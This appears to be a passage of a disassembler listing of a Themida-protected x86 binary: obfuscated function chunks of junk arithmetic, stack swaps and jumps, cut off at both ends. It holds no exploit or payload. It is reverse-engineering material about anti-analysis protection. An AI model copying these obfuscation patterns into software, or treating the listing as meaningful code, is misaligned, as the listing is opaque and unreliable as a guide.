CHUNK FOR sub_56628B ; =============== S U B R O U T I N E ======================================= sub_562BA0 proc near ; DATA XREF: Themida_:0055FD04o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564F40 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BC18 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C33E SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056FADB SIZE 00000007 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop ecx add esp, 4 push eax jmp loc_56FADB sub_562BA0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5683C0 loc_562BB0: ; CODE XREF: sub_5683C0-D8Fj pop esi push 3D93h mov [esp+0Ch+var_C], ebx mov ebx, 475522B0h push esi mov esi, 589D4AB8h or esi, 5F2D04C9h or esi, 1FB070Eh not esi neg esi xor esi, 9841AF9Eh push edi mov edi, 14F602C8h sub ebx, edi pop edi add ebx, esi add ebx, 14F602C8h jmp loc_566064 ; END OF FUNCTION CHUNK FOR sub_5683C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_562BF0: ; CODE XREF: sub_56241E+945Ej pop eax push 464h mov [esp+8+var_8], ecx jmp loc_565CFE ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_562BFE: ; CODE XREF: sub_56AB5E-1987j xor ecx, 1D2EF71Ch sub edx, ecx pop ecx xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx push edx jmp loc_5680B3 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_562C14: ; CODE XREF: Themida_:005701F2j add esp, 4 jmp loc_57286A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_562C1F: ; CODE XREF: sub_56F3B2-81FBj and ebx, 457E6649h neg ebx sub ebx, 0FBD7D9FCh add edi, ebx push [esp+4+var_4] pop ebx push edi mov edi, esp add edi, 4 jmp loc_56DF43 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_562C41: ; CODE XREF: sub_563BCC+646Dj push 1C5Bh mov [esp+4+var_4], esi mov esi, 0FFFFFFFFh add ebx, esi mov esi, [esp+4+var_4] add esp, 4 sub ebx, 1 xor ebx, 49731C10h push 104Bh mov [esp+4+var_4], ebx pop dword ptr [edi+20h] jmp loc_567FF2 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E27 loc_562C72: ; CODE XREF: sub_570E27-61E1j push edx jmp loc_57501F ; END OF FUNCTION CHUNK FOR sub_570E27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_562C78: ; CODE XREF: sub_5685B2+EFDj mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] mov [esp-14h+arg_10], ecx push esp jmp loc_56FF53 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_562C8F: ; CODE XREF: sub_575420-1062Aj pop ecx push ecx mov cl, 4 jmp loc_56938E ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_562C98: ; CODE XREF: sub_56BD44-2659j mov [esp+4+var_4], ecx mov ecx, 4 jmp loc_56E47F ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_562CA5: ; CODE XREF: sub_5634AF+DCC7j not dword ptr [esp+0] pop eax jmp loc_574606 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_562CAE: ; CODE XREF: sub_5713A7-9B74j shl ebx, 8 push edx mov edx, 672D3572h shr edx, 5 sub edx, 8F9D087Ah add ebx, 143F2480h add ebx, edx sub ebx, 143F2480h pop edx xor ebx, 68261709h sub ebx, 0EE7CB698h sub edx, ebx pop ebx sub edx, 2556007Eh jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_562CE9: ; CODE XREF: sub_5678CB+CF23j sub edi, edx jmp loc_56A05A ; --------------------------------------------------------------------------- loc_562CF0: ; CODE XREF: sub_5678CB+A4D1j add esp, 4 jmp loc_56FF79 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_562CFB: ; CODE XREF: sub_571F6F-1953j pop eax sub esp, 4 mov [esp+8+var_8], ecx push edx mov edx, 1ABF2D63h shl edx, 4 sub edx, 63C25D8Ah or edx, 774A7310h not edx sub edx, 41E23538h push esi mov esi, edx mov ecx, esi jmp loc_56A688 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_562D29: ; CODE XREF: sub_567049+9j add ebp, edx jmp loc_574C03 ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_562D30: ; CODE XREF: sub_5678CB+D52j and edi, esi jmp loc_571D99 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_562D37: ; CODE XREF: sub_561027-465j add esp, 4 push esi push esp pop esi add esi, 4 sub esi, 4 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] pop esp jmp loc_57195F ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_562D55: ; CODE XREF: sub_563FA2+Dj sub esi, 0F2D307Eh jmp loc_56CC8D ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_562D60: ; CODE XREF: sub_56C7AA-62A9j dec esi xor esi, 49A37915h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0Ch+var_C] jmp loc_572120 ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB93 loc_562D7E: ; CODE XREF: sub_56AB93-1E8Fj add esi, 2 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], esi push dword ptr [esp+4] push [esp+8+var_8] pop esi push 2270h jmp loc_56AC57 ; END OF FUNCTION CHUNK FOR sub_56AB93 ; --------------------------------------------------------------------------- loc_562DA9: ; CODE XREF: Themida_:00568746j push 66A7h mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_56C902 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568F83 loc_562DBB: ; CODE XREF: sub_568F83+2E29j pop ebx add esi, ebx mov ebx, [esp-4+arg_0] jmp loc_5737A2 ; END OF FUNCTION CHUNK FOR sub_568F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_562DC6: ; CODE XREF: sub_56F1DB+1j mov ebp, 547E5335h jmp loc_568EF4 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD6F loc_562DD0: ; CODE XREF: sub_56FD6F-66E0j pop esp push edi mov edi, esp add edi, 4 jmp sub_574896 ; END OF FUNCTION CHUNK FOR sub_56FD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_562DDF: ; CODE XREF: sub_57354D-1D9Bj pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] jmp loc_56EA12 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_562DFA: ; CODE XREF: sub_56CD13+7B21j mov [esp+10h+var_10], eax mov eax, 296E54EDh add [esp+10h+var_C], 3DF946B7h jmp sub_573876 ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_562E0F: ; CODE XREF: sub_5685B2-1FA8j sub bh, dl jmp loc_56B6ED ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_562E16: ; CODE XREF: sub_5690E8+5A91j shl edx, 5 neg edx shl edx, 6 add edx, 4371309Fh add ebx, edx pop edx add eax, ebx mov ebx, [esp+10h+var_10] add esp, 4 sub ebp, eax pop eax add eax, ebp jmp loc_564A13 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_562E3C: ; CODE XREF: sub_57354D-2C57j push [esp+4+var_4] push [esp+8+var_8] pop esi add esp, 4 sub esp, 4 mov [esp+8+var_8], esi jmp loc_56B1D5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_562E51: ; CODE XREF: Themida_:0056ECBFj or ebx, 6BDA1D78h jmp loc_56BD8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_562E5C: ; CODE XREF: sub_56DA43-D136j pop eax add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] pop esp sub esp, 4 jmp loc_571E0D ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_562E7E: ; CODE XREF: sub_56C38F+67B2j xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] push ebx jmp loc_5668D8 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_562E8D: ; CODE XREF: sub_5673C3+2940j mov [esp+0], esi push edi mov edi, esp jmp loc_568292 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_562E98: ; CODE XREF: sub_566400+66Fj add eax, 245C24C6h jmp loc_5641C5 ; END OF FUNCTION CHUNK FOR sub_566400 ; =============== S U B R O U T I N E ======================================= sub_562EA2 proc near ; DATA XREF: Themida_:0055FE1Co var_2 = word ptr -2 mov ax, fs:[edx] push small 120h mov [esp+2+var_2], ax jmp loc_55FF9F sub_562EA2 endp ; =============== S U B R O U T I N E ======================================= sub_562EB3 proc near ; CODE XREF: sub_561F05+32E8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056A284 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005714BE SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], eax jmp loc_5714BE sub_562EB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_562EBE: ; CODE XREF: sub_56D3AF-8408j push esp pop [esp+0Ch+var_C] push ebx mov ebx, 4 sub [esp+0Ch+var_8], 6173036Bh add [esp+0Ch+var_8], ebx jmp loc_570CC5 ; END OF FUNCTION CHUNK FOR sub_56D3AF ; =============== S U B R O U T I N E ======================================= sub_562ED9 proc near ; DATA XREF: Themida_:0055FE40o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560670 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572C06 SIZE 00000009 BYTES push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_560670 sub_562ED9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_562EE4: ; CODE XREF: sub_566DC7+9171j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_562EE9: ; CODE XREF: sub_5738F4-5754j xor ebx, [esp+0] mov esp, [esp+0] ; END OF FUNCTION CHUNK FOR sub_5738F4 ; START OF FUNCTION CHUNK FOR sub_5605BC loc_562EEF: ; CODE XREF: sub_5605BC+4E98j ; sub_5605BC+13ADCj push dword ptr [edi+24h] sub [esp+20h+var_20], 0EBC1A24h jmp loc_565838 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637A1 loc_562EFE: ; CODE XREF: sub_5637A1-105Cj mov [esp+4+var_4], edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] mov esp, [esp+0] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5637A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_562F11: ; CODE XREF: sub_567D31-5B57j sub ecx, eax jmp loc_562F72 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_562F18: ; CODE XREF: sub_56EFD2-E2A6j push esi push ebx mov ebx, 2 push eax mov eax, ebx jmp loc_5707E8 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h add dword ptr [esp], 4 pop edx push 4297h mov [esp], edi sub esp, 4 mov [esp], edx mov edx, 4B3323BDh mov edi, 4B3323B9h jmp loc_5711CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_562F52: ; CODE XREF: sub_5666C3+E50Fj pop ecx sub eax, ebp add eax, 7F0C0155h jmp sub_56FB8A ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_562F5F: ; CODE XREF: sub_563DCB-2842j mov dh, bl pop ebx mov eax, [esp-4+arg_0] jmp loc_5677E7 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_562F6A: ; CODE XREF: sub_571088-6510j pop edx mov dl, ah jmp loc_5672A6 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_562F72: ; CODE XREF: sub_567D31-4E1Ej pop eax jmp loc_564E97 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_562F78: ; CODE XREF: sub_56C7AA-1AA5j dec eax xchg eax, ebx sub ebx, 0E83E201Ah add eax, ebx pop ebx jmp sub_56C48D ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_562F88: ; CODE XREF: sub_57354D-266Aj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ecx mov ecx, 27457A11h sub esi, 6B9519CBh sub esi, 6CD5132Dh jmp loc_57277D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_562FB3: ; CODE XREF: sub_571C0A-9EEBj mov ebp, [esp+0] jmp loc_5692C6 ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_562FBB: ; CODE XREF: sub_5620B7+52E2j sub dl, 7Ch mov bh, dl pop edx jmp loc_565DDB ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_562FC6: ; CODE XREF: sub_5685B2-15Dj add eax, ebp jmp loc_571F82 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_562FCD: ; CODE XREF: sub_57146D-6794j add edx, 4 jmp loc_565823 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_562FD8: ; CODE XREF: sub_56BD44-2618j pop ecx push ecx mov ecx, 2 add edi, ecx mov ecx, [esp+4+var_4] jmp loc_566BCD ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_562FE9: ; CODE XREF: sub_574A21-3F53j xor esi, edx xor edx, esi xor esi, edx jmp loc_56D14E ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_562FF4: ; CODE XREF: sub_569E1B+6BAAj sub dh, 69h push eax mov ah, 0C1h xor ah, 0DBh and ah, 4Ch not ah add ah, 0B8h neg ah sub ah, 0F4h sub dh, ah pop eax jmp loc_56076A ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_563012: ; CODE XREF: sub_56B11B-2265j add edi, 4 xchg edi, [esp+0] pop esp shr eax, 18h xor eax, ecx push 6178h mov [esp+0], eax push eax push dword ptr [esp+4] jmp loc_56AB28 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_563030: ; CODE XREF: sub_56616D-7A0j add esp, 4 mov edi, [esp-0Ch+arg_8] add esp, 4 jmp sub_5605BC ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D93 loc_56303E: ; CODE XREF: sub_568D93+4555j and ebx, 62F502B1h add ebx, 0F0993374h jmp loc_572944 ; END OF FUNCTION CHUNK FOR sub_568D93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_56304F: ; CODE XREF: sub_56A119+5B82j add edi, 4 xor edi, [esp+0] xor [esp+0], edi jmp loc_56A04C ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_563060: ; CODE XREF: sub_560EA2+11ECAj push edx jmp loc_56D31C ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_563066: ; CODE XREF: sub_561541-209j mov [esp+8+var_8], ecx jmp loc_572915 ; END OF FUNCTION CHUNK FOR sub_561541 ; =============== S U B R O U T I N E ======================================= sub_56306E proc near ; DATA XREF: Themida_:0055FECCo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005645A0 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00565E71 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00568A0E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F1E9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057444E SIZE 00000029 BYTES mov ax, [esp+0] jmp loc_57444E sub_56306E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_563077: ; CODE XREF: sub_5754DA-D0A5j pop eax push cx mov ch, 0DDh xor bl, ch pop cx push 144Bh mov [esp+0Ah+var_C+2], ebx mov bh, 64h push ebx not [esp+0Eh+var_D] jmp loc_5604D1 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- loc_563094: ; CODE XREF: Themida_:0056A1E9j mov esi, [esp] jmp loc_56D594 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56309C: ; CODE XREF: sub_5678CB+5B2Bj and cl, 60h shl cl, 3 or cl, 59h jmp loc_56AFA0 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- loc_5630AA: ; CODE XREF: Themida_:00561A41j pop dword ptr [esp] mov esp, [esp] jmp loc_56917E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5630B5: ; CODE XREF: sub_563819+A786j pop edx push eax mov eax, esp push esi mov esi, 3AAD5897h not esi xor esi, 0C552A76Ch add eax, esi jmp loc_567C36 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564EBE loc_5630CE: ; CODE XREF: sub_564EBE+36CAj mov ecx, 6ED67639h jmp loc_565A32 ; END OF FUNCTION CHUNK FOR sub_564EBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_5630D8: ; CODE XREF: sub_566C83+3536j add esi, ecx pop ecx not esi shl esi, 6 sub esi, 5B0C37DBh add ebx, esi jmp loc_56AD9B ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_5630ED: ; CODE XREF: sub_56BC97+43D9j mov eax, 4 sub edx, eax pop eax jmp loc_564646 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_5630FA: ; CODE XREF: sub_574A21-C731j mov [esp+0Ch+var_C], esi jmp loc_568A91 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- loc_563102: ; CODE XREF: Themida_:00574AB0j mov edx, ebp mov ebp, [esp] jmp loc_56B664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564C54 loc_56310C: ; CODE XREF: sub_564C54+Fj pop esp jmp sub_563A7F ; END OF FUNCTION CHUNK FOR sub_564C54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_563112: ; CODE XREF: sub_573612-604j xor edi, 52225E2Ch add edi, 10DB6837h add edi, 1 xor edi, 3458A485h jmp loc_56D885 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- loc_56312C: ; CODE XREF: Themida_:00573319j pop ebx sub ebx, esi pop esi add ebx, edi add ebx, 66DC7A2Dh mov edi, [esp] push edx jmp loc_574ACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573A7F loc_563141: ; CODE XREF: sub_573A7F+Bj mov [esp+4+var_4], edi mov edi, 25971807h dec edi not edi dec edi jmp loc_56FD4E ; END OF FUNCTION CHUNK FOR sub_573A7F ; =============== S U B R O U T I N E ======================================= sub_563152 proc near ; DATA XREF: Themida_:0055FD14o var_2 = word ptr -2 ; FUNCTION CHUNK AT 005611ED SIZE 00000009 BYTES movzx ax, byte ptr fs:[edx] push small 5490h jmp loc_5611ED sub_563152 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561979 loc_563160: ; CODE XREF: sub_561979+9875j sub eax, 6E6F5AE3h jmp loc_563850 ; END OF FUNCTION CHUNK FOR sub_561979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56316A: ; CODE XREF: sub_574A21-CEB6j or eax, 6E3F2BC9h shl eax, 4 push ecx mov ecx, 3C080FEEh add eax, ecx pop ecx xor eax, 0B5B0A04h shl eax, 5 xor eax, 5A4348DDh jmp loc_56064E ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- loc_56318D: ; CODE XREF: Themida_:00572910j mov edx, 0C1471932h jmp loc_56CECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_563197: ; CODE XREF: sub_569DB5-3105j pop ebx mov ebp, [esp+4+var_4] add esp, 4 jmp loc_574E99 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; =============== S U B R O U T I N E ======================================= sub_5631A3 proc near ; CODE XREF: sub_561784+CD34j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560432 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00560AEE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005640F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00565ABF SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056BE36 SIZE 00000051 BYTES sub esp, 4 jmp loc_56BE36 sub_5631A3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_5631AE: ; CODE XREF: sub_56FD38-35DEj sub ebx, 0FFFFFFFFh push esi mov esi, 639F6A52h jmp loc_5603D7 ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_5631BF: ; CODE XREF: sub_5666C3+EBF3j xor ecx, edx mov edx, [esp-4+arg_0] add esp, 4 add eax, ecx pop ecx pop edi sub eax, 23700CC9h sub eax, ebx push esi mov esi, 23700CC9h jmp loc_56404A ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560276 loc_5631E0: ; CODE XREF: sub_560276+10j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp+10h+var_10] pop esp push edi jmp loc_56E049 ; END OF FUNCTION CHUNK FOR sub_560276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_5631F8: ; CODE XREF: sub_56657A-1E43j inc edx sub esp, 4 mov [esp+8+var_8], ecx jmp loc_5676B4 ; END OF FUNCTION CHUNK FOR sub_56657A ; =============== S U B R O U T I N E ======================================= sub_563207 proc near ; DATA XREF: Themida_:0055FD34o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561BF0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562190 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564344 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00565971 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005672C9 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00569867 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00569A5E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056A3B5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056DE7F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00571F38 SIZE 0000000D BYTES mov cx, [esp+0] sub esp, 4 mov [esp+4+var_4], eax jmp loc_56A3B5 sub_563207 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_563216: ; CODE XREF: sub_564D26+B95j add edi, 4 add edi, 4 xchg edi, [esp+24h+var_24] pop esp jmp loc_56F573 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_56322B: ; CODE XREF: sub_571890-5D8Dj pop ecx jmp loc_567000 ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_563231: ; CODE XREF: sub_564D26+2573j shl edx, 1 jmp loc_570F64 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_563238: ; CODE XREF: sub_567D31-79Ej push ecx mov ecx, 3C183D94h mov ebx, ecx mov ecx, [esp+4+var_4] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], esi mov esi, 7B151197h and ebx, esi mov esi, [esp+8+var_8] add esp, 4 neg ebx push esi push ebp mov ebp, 6D150E84h jmp loc_570D4D ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- loc_56327D: ; CODE XREF: Themida_:0056CF96j sub esp, 4 mov [esp], eax push esp jmp loc_56F631 ; --------------------------------------------------------------------------- loc_56328C: ; CODE XREF: Themida_:00574722j mov [esp], eax mov eax, esp add eax, 4 jmp loc_56DC15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570621 loc_56329B: ; CODE XREF: sub_570621-963Dj mov edx, 13DB42A7h jmp loc_56C5F1 ; END OF FUNCTION CHUNK FOR sub_570621 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5632A5: ; CODE XREF: sub_568E5C+7864j push edx mov edx, 0B9F42DBFh sub eax, edx mov edx, [esp+0Ch+var_C] jmp loc_5624FE ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5632B5: ; CODE XREF: sub_56FB8A+2000j add ebx, ebp push edx mov edx, 66136C5Ah or edx, 756659DCh jmp loc_56E330 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562676 loc_5632C8: ; CODE XREF: sub_562676+A6FFj pop eax sub esi, 73B9287Ah jmp loc_56FBEB ; END OF FUNCTION CHUNK FOR sub_562676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5632D4: ; CODE XREF: sub_56AB5E+30j sub bh, dh add bh, 7Ah pop dx jmp loc_56428E ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION 